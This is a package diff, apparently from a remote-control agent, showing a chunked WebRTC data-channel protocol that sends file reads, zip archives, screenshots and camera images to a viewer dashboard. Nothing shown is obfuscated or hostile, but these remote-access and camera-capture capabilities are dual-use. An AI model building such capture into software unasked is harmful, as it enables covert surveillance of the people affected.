exports.forgeBulkAbortWireJson = forgeBulkAbortWireJson;
|
|
18
|
+
exports.forgeBulkAgentSendV2FromDecoded = forgeBulkAgentSendV2FromDecoded;
|
|
19
|
+
exports.forgeBulkAgentTrySend = forgeBulkAgentTrySend;
|
|
20
|
+
exports.forgeBulkAgentTrySendScreenshotCameraSidecar = forgeBulkAgentTrySendScreenshotCameraSidecar;
|
|
21
|
+
const fsProtocol_1 = require("./fsProtocol");
|
|
22
|
+
exports.FORGE_BULK_MAGIC_KEY = "_fb";
|
|
23
|
+
exports.FORGE_BULK_MAGIC_VAL = "hdr";
|
|
24
|
+
/** Agent sends this JSON string on `forge-bulk` after a failed v2 body transfer (viewer resets framing). */
|
|
25
|
+
exports.FORGE_BULK_ABORT_VAL = "abort";
|
|
26
|
+
/** Legacy single-binary framing (still accepted by viewers). */
|
|
27
|
+
exports.FORGE_BULK_VERSION_V1 = 1;
|
|
28
|
+
/** Chunked binary framing (agent send path). */
|
|
29
|
+
exports.FORGE_BULK_VERSION = 2;
|
|
30
|
+
/** Matches explorer `fs_read` / `fs_zip` per-response body cap (`MAX_READ_BYTES * 4`). */
|
|
31
|
+
exports.FORGE_BULK_MAX_BODY_BYTES = fsProtocol_1.MAX_READ_BYTES * 4;
|
|
32
|
+
/** Raw bytes per binary SCTP message (conservative; well under common ~256 KiB DC limits). */
|
|
33
|
+
exports.FORGE_BULK_V2_CHUNK_PAYLOAD_BYTES = 56 * 1024;
|
|
34
|
+
/** Viewer rejects absurd `chunk_sz` in headers (DoS guard). */
|
|
35
|
+
exports.FORGE_BULK_V2_MAX_CHUNK_SZ = 256 * 1024;
|
|
36
|
+
/** Minimum advertised `chunk_sz` for v2 (must match viewer templates). */
|
|
37
|
+
exports.FORGE_BULK_V2_MIN_CHUNK_SZ = 1024;
|
|
38
|
+
const HDR_STR_MAX = 24576;
|
|
39
|
+
function stripBulkHdrFields(hdr) {
|
|
40
|
+
const msg = {};
|
|
41
|
+
for (const k of Object.keys(hdr)) {
|
|
42
|
+
if (k === exports.FORGE_BULK_MAGIC_KEY || k === "v" || k === "byte_len" || k === "chunk_sz")
|
|
43
|
+
continue;
|
|
44
|
+
msg[k] = hdr[k];
|
|
45
|
+
}
|
|
46
|
+
return msg;
|
|
47
|
+
}
|
|
48
|
+
function bytesToB64(buf) {
|
|
49
|
+
return Buffer.from(buf).toString("base64");
|
|
50
|
+
}
|
|
51
|
+
function forgeBulkAbortWireJson() {
|
|
52
|
+
return JSON.stringify({
|
|
53
|
+
[exports.FORGE_BULK_MAGIC_KEY]: exports.FORGE_BULK_ABORT_VAL,
|
|
54
|
+
v: exports.FORGE_BULK_VERSION,
|
|
55
|
+
});
|
|
56
|
+
}
|
|
57
|
+
function trySendBulkAbort(dc) {
|
|
58
|
+
try {
|
|
59
|
+
if (dc.isOpen())
|
|
60
|
+
dc.sendMessage(forgeBulkAbortWireJson());
|
|
61
|
+
}
|
|
62
|
+
catch {
|
|
63
|
+
/* skip */
|
|
64
|
+
}
|
|
65
|
+
}
|
|
66
|
+
/**
|
|
67
|
+
* Stateful decoder for forge-bulk messages (used in Node tests; mirrors browser viewers).
|
|
68
|
+
*/
|
|
69
|
+
class ForgeBulkInboundAssembler {
|
|
70
|
+
mode = "hdr";
|
|
71
|
+
hdr = null;
|
|
72
|
+
byteLen = 0;
|
|
73
|
+
chunkSz = 0;
|
|
74
|
+
buf = null;
|
|
75
|
+
filled = 0;
|
|
76
|
+
reset() {
|
|
77
|
+
this.mode = "hdr";
|
|
78
|
+
this.hdr = null;
|
|
79
|
+
this.byteLen = 0;
|
|
80
|
+
this.chunkSz = 0;
|
|
81
|
+
this.buf = null;
|
|
82
|
+
this.filled = 0;
|
|
83
|
+
}
|
|
84
|
+
pushJson(text) {
|
|
85
|
+
let j;
|
|
86
|
+
try {
|
|
87
|
+
j = JSON.parse(text);
|
|
88
|
+
}
|
|
89
|
+
catch {
|
|
90
|
+
this.reset();
|
|
91
|
+
return { status: "error" };
|
|
92
|
+
}
|
|
93
|
+
const magic = j && j[exports.FORGE_BULK_MAGIC_KEY];
|
|
94
|
+
if (magic === exports.FORGE_BULK_ABORT_VAL) {
|
|
95
|
+
this.reset();
|
|
96
|
+
return { status: "error" };
|
|
97
|
+
}
|
|
98
|
+
if (this.mode !== "hdr") {
|
|
99
|
+
if (magic === exports.FORGE_BULK_MAGIC_VAL) {
|
|
100
|
+
this.reset();
|
|
101
|
+
}
|
|
102
|
+
else {
|
|
103
|
+
this.reset();
|
|
104
|
+
return { status: "error" };
|
|
105
|
+
}
|
|
106
|
+
}
|
|
107
|
+
if (!j || magic !== exports.FORGE_BULK_MAGIC_VAL) {
|
|
108
|
+
this.reset();
|
|
109
|
+
return { status: "error" };
|
|
110
|
+
}
|
|
111
|
+
const ver = Number(j.v);
|
|
112
|
+
if (ver !== exports.FORGE_BULK_VERSION_V1 && ver !== exports.FORGE_BULK_VERSION) {
|
|
113
|
+
this.reset();
|
|
114
|
+
return { status: "error" };
|
|
115
|
+
}
|
|
116
|
+
const bl = Number(j.byte_len);
|
|
117
|
+
if (!Number.isFinite(bl) || bl < 0 || bl > exports.FORGE_BULK_MAX_BODY_BYTES || Math.floor(bl) !== bl) {
|
|
118
|
+
this.reset();
|
|
119
|
+
return { status: "error" };
|
|
120
|
+
}
|
|
121
|
+
const byteLen = bl | 0;
|
|
122
|
+
this.hdr = j;
|
|
123
|
+
this.byteLen = byteLen;
|
|
124
|
+
if (byteLen === 0) {
|
|
125
|
+
const msg = stripBulkHdrFields(j);
|
|
126
|
+
msg.b64 = "";
|
|
127
|
+
this.reset();
|
|
128
|
+
return { status: "complete", msg };
|
|
129
|
+
}
|
|
130
|
+
if (ver === exports.FORGE_BULK_VERSION_V1) {
|
|
131
|
+
this.mode = "v1wait";
|
|
132
|
+
return { status: "pending" };
|
|
133
|
+
}
|
|
134
|
+
let cs = Number(j.chunk_sz);
|
|
135
|
+
if (!Number.isFinite(cs) ||
|
|
136
|
+
cs < exports.FORGE_BULK_V2_MIN_CHUNK_SZ ||
|
|
137
|
+
cs > exports.FORGE_BULK_V2_MAX_CHUNK_SZ ||
|
|
138
|
+
Math.floor(cs) !== cs) {
|
|
139
|
+
this.reset();
|
|
140
|
+
return { status: "error" };
|
|
141
|
+
}
|
|
142
|
+
this.chunkSz = cs | 0;
|
|
143
|
+
try {
|
|
144
|
+
this.buf = new Uint8Array(byteLen);
|
|
145
|
+
}
|
|
146
|
+
catch {
|
|
147
|
+
this.reset();
|
|
148
|
+
return { status: "error" };
|
|
149
|
+
}
|
|
150
|
+
this.filled = 0;
|
|
151
|
+
this.mode = "v2fill";
|
|
152
|
+
return { status: "pending" };
|
|
153
|
+
}
|
|
154
|
+
pushBinary(data) {
|
|
155
|
+
if (this.mode === "hdr") {
|
|
156
|
+
this.reset();
|
|
157
|
+
return { status: "error" };
|
|
158
|
+
}
|
|
159
|
+
if (!this.hdr || data.length <= 0) {
|
|
160
|
+
this.reset();
|
|
161
|
+
return { status: "error" };
|
|
162
|
+
}
|
|
163
|
+
if (this.mode === "v1wait") {
|
|
164
|
+
if (data.length !== this.byteLen) {
|
|
165
|
+
this.reset();
|
|
166
|
+
return { status: "error" };
|
|
167
|
+
}
|
|
168
|
+
const msg = stripBulkHdrFields(this.hdr);
|
|
169
|
+
msg.b64 = bytesToB64(data);
|
|
170
|
+
this.reset();
|
|
171
|
+
return { status: "complete", msg };
|
|
172
|
+
}
|
|
173
|
+
if (this.mode === "v2fill") {
|
|
174
|
+
const buf = this.buf;
|
|
175
|
+
if (!buf) {
|
|
176
|
+
this.reset();
|
|
177
|
+
return { status: "error" };
|
|
178
|
+
}
|
|
179
|
+
const rem = this.byteLen - this.filled;
|
|
180
|
+
if (data.length > rem) {
|
|
181
|
+
this.reset();
|
|
182
|
+
return { status: "error" };
|
|
183
|
+
}
|
|
184
|
+
if (rem > this.chunkSz) {
|
|
185
|
+
if (data.length !== this.chunkSz) {
|
|
186
|
+
this.reset();
|
|
187
|
+
return { status: "error" };
|
|
188
|
+
}
|
|
189
|
+
}
|
|
190
|
+
else if (data.length !== rem) {
|
|
191
|
+
this.reset();
|
|
192
|
+
return { status: "error" };
|
|
193
|
+
}
|
|
194
|
+
buf.set(data, this.filled);
|
|
195
|
+
this.filled += data.length;
|
|
196
|
+
if (this.filled === this.byteLen) {
|
|
197
|
+
const msg = stripBulkHdrFields(this.hdr);
|
|
198
|
+
msg.b64 = bytesToB64(buf);
|
|
199
|
+
this.reset();
|
|
200
|
+
return { status: "complete", msg };
|
|
201
|
+
}
|
|
202
|
+
return { status: "pending" };
|
|
203
|
+
}
|
|
204
|
+
this.reset();
|
|
205
|
+
return { status: "error" };
|
|
206
|
+
}
|
|
207
|
+
}
|
|
208
|
+
exports.ForgeBulkInboundAssembler = ForgeBulkInboundAssembler;
|
|
209
|
+
/**
|
|
210
|
+
* Send one v2 bulk transfer: JSON hdr (includes `byte_len`, `chunk_sz`) then chunked raw body.
|
|
211
|
+
*/
|
|
212
|
+
function forgeBulkAgentSendV2FromDecoded(dc, hdr, raw) {
|
|
213
|
+
if (!dc.isOpen())
|
|
214
|
+
return false;
|
|
215
|
+
const chunkSz = exports.FORGE_BULK_V2_CHUNK_PAYLOAD_BYTES;
|
|
216
|
+
let hdrStr;
|
|
217
|
+
try {
|
|
218
|
+
hdrStr = JSON.stringify(hdr);
|
|
219
|
+
}
|
|
220
|
+
catch {
|
|
221
|
+
return false;
|
|
222
|
+
}
|
|
223
|
+
if (hdrStr.length > HDR_STR_MAX)
|
|
224
|
+
return false;
|
|
225
|
+
let hdrCommitted = false;
|
|
226
|
+
try {
|
|
227
|
+
if (!dc.sendMessage(hdrStr))
|
|
228
|
+
return false;
|
|
229
|
+
hdrCommitted = true;
|
|
230
|
+
for (let off = 0; off < raw.length; off += chunkSz) {
|
|
231
|
+
const slice = raw.subarray(off, Math.min(off + chunkSz, raw.length));
|
|
232
|
+
if (!dc.sendMessageBinary(new Uint8Array(slice))) {
|
|
233
|
+
trySendBulkAbort(dc);
|
|
234
|
+
return false;
|
|
235
|
+
}
|
|
236
|
+
}
|
|
237
|
+
return true;
|
|
238
|
+
}
|
|
239
|
+
catch {
|
|
240
|
+
if (hdrCommitted)
|
|
241
|
+
trySendBulkAbort(dc);
|
|
242
|
+
return false;
|
|
243
|
+
}
|
|
244
|
+
}
|
|
245
|
+
function forgeBulkAgentTrySend(dc, resp) {
|
|
246
|
+
if (!dc?.isOpen())
|
|
247
|
+
return false;
|
|
248
|
+
const ty = String(resp.type ?? "");
|
|
249
|
+
if (ty !== "fs_read_result" && ty !== "fs_zip_result" && ty !== "fs_screenshot_result")
|
|
250
|
+
return false;
|
|
251
|
+
const b64 = resp.b64;
|
|
252
|
+
if (typeof b64 !== "string" || b64.length === 0)
|
|
253
|
+
return false;
|
|
254
|
+
let raw;
|
|
255
|
+
try {
|
|
256
|
+
raw = Buffer.from(b64, "base64");
|
|
257
|
+
}
|
|
258
|
+
catch {
|
|
259
|
+
return false;
|
|
260
|
+
}
|
|
261
|
+
if (raw.length > exports.FORGE_BULK_MAX_BODY_BYTES)
|
|
262
|
+
return false;
|
|
263
|
+
const chunkSz = exports.FORGE_BULK_V2_CHUNK_PAYLOAD_BYTES;
|
|
264
|
+
const hdr = {
|
|
265
|
+
[exports.FORGE_BULK_MAGIC_KEY]: exports.FORGE_BULK_MAGIC_VAL,
|
|
266
|
+
v: exports.FORGE_BULK_VERSION,
|
|
267
|
+
byte_len: raw.length,
|
|
268
|
+
chunk_sz: chunkSz,
|
|
269
|
+
};
|
|
270
|
+
for (const [k, v] of Object.entries(resp)) {
|
|
271
|
+
if (k === "b64")
|
|
272
|
+
continue;
|
|
273
|
+
/** Never embed auxiliary frames in the JSON hdr — size cap + screenshot overlay uses separate bulk transfer. */
|
|
274
|
+
if (ty === "fs_screenshot_result" && k === "camera_b64")
|
|
275
|
+
continue;
|
|
276
|
+
hdr[k] = v;
|
|
277
|
+
}
|
|
278
|
+
return forgeBulkAgentSendV2FromDecoded(dc, hdr, raw);
|
|
279
|
+
}
|
|
280
|
+
/** Second v2 transfer after `fs_screenshot_result` — camera JPEG/PNG bytes only (dashboard overlay). */
|
|
281
|
+
function forgeBulkAgentTrySendScreenshotCameraSidecar(dc, opts, cameraB64) {
|
|
282
|
+
if (!dc?.isOpen())
|
|
283
|
+
return false;
|
|
284
|
+
let raw;
|
|
285
|
+
try {
|
|
286
|
+
raw = Buffer.from(cameraB64, "base64");
|
|
287
|
+
}
|
|
288
|
+
catch {
|
|
289
|
+
return false;
|
|
290
|
+
}
|
|
291
|
+
if (raw.length === 0 || raw.length > exports.FORGE_BULK_MAX_BODY_BYTES)
|
|
292
|
+
return false;
|
|
293
|
+
const chunkSz = exports.FORGE_BULK_V2_CHUNK_PAYLOAD_BYTES;
|
|
294
|
+
const hdr = {
|
|
295
|
+
[exports.FORGE_BULK_MAGIC_KEY]: exports.FORGE_BULK_MAGIC_VAL,
|
|
296
|
+
v: exports.FORGE_BULK_VERSION,
|
|
297
|
+
byte_len: raw.length,
|
|
298
|
+
chunk_sz: chunkSz,
|
|
299
|
+
type: "fs_screenshot_sidecar_result",
|
|
300
|
+
sidecar: "camera",
|
|
301
|
+
ok: true,
|
|
302
|
+
request_id: opts.request_id,
|
|
303
|
+
camera_mime: opts.camera_mime ?? "image/jpeg",
|
|
304
|
+
camera_width_percent: opts.camera_width_percent,
|
|
305
|
+
camera_available: opts.camera_available,
|
|
306
|
+
};
|
|
307
|
+
return forgeBulkAgentSendV2FromDecoded(dc, hdr, raw);
|
|
308
|
+
}
|
|
@@ -0,0 +1,31 @@
|
|
|
1
|
+
export declare function forgeWebRtcP2PEnabled(): boolean;
|
|
2
|
+
export declare function agentOutboundPreferRtcDc(msgType: string): boolean;
|
|
3
|
+
export declare function rtcIceServersForNodeDc(raw: unknown[] | null | undefined): string[];
|
|
4
|
+
export type ForgeRtcSignalingSend = (msg: Record<string, unknown>) => void;
|
|
5
|
+
type PeerConnCtor = typeof import("node-datachannel").PeerConnection;
|
|
6
|
+
export type DataChannelApi = {
|
|
7
|
+
sendMessage: (s: string) => boolean;
|
|
8
|
+
sendMessageBinary?: (b: Uint8Array) => boolean;
|
|
9
|
+
isOpen: () => boolean;
|
|
10
|
+
};
|
|
11
|
+
export interface ForgeRtcAgentSessionOptions {
|
|
12
|
+
PeerConnection: PeerConnCtor;
|
|
13
|
+
sdp: string;
|
|
14
|
+
sdpType: string;
|
|
15
|
+
iceServers: string[];
|
|
16
|
+
sendSignaling: ForgeRtcSignalingSend;
|
|
17
|
+
/** `main` = `forge-rc`; `input` = optional `forge-rc-input`; `bulk` = ordered `forge-bulk` (large fs payloads). */
|
|
18
|
+
setOutboundDc: (which: "main" | "input" | "bulk", dc: DataChannelApi | null) => void;
|
|
19
|
+
onInboundDcText: (text: string) => void;
|
|
20
|
+
onFatal: () => void;
|
|
21
|
+
quiet: boolean;
|
|
22
|
+
}
|
|
23
|
+
export declare class ForgeRtcAgentSession {
|
|
24
|
+
private readonly pc;
|
|
25
|
+
private destroyed;
|
|
26
|
+
constructor(opts: ForgeRtcAgentSessionOptions);
|
|
27
|
+
addRemoteIce(candidate: string, mid: string): void;
|
|
28
|
+
close(): void;
|
|
29
|
+
}
|
|
30
|
+
export declare function loadNodeDcPeerConnection(): PeerConnCtor | null;
|
|
31
|
+
export {};
|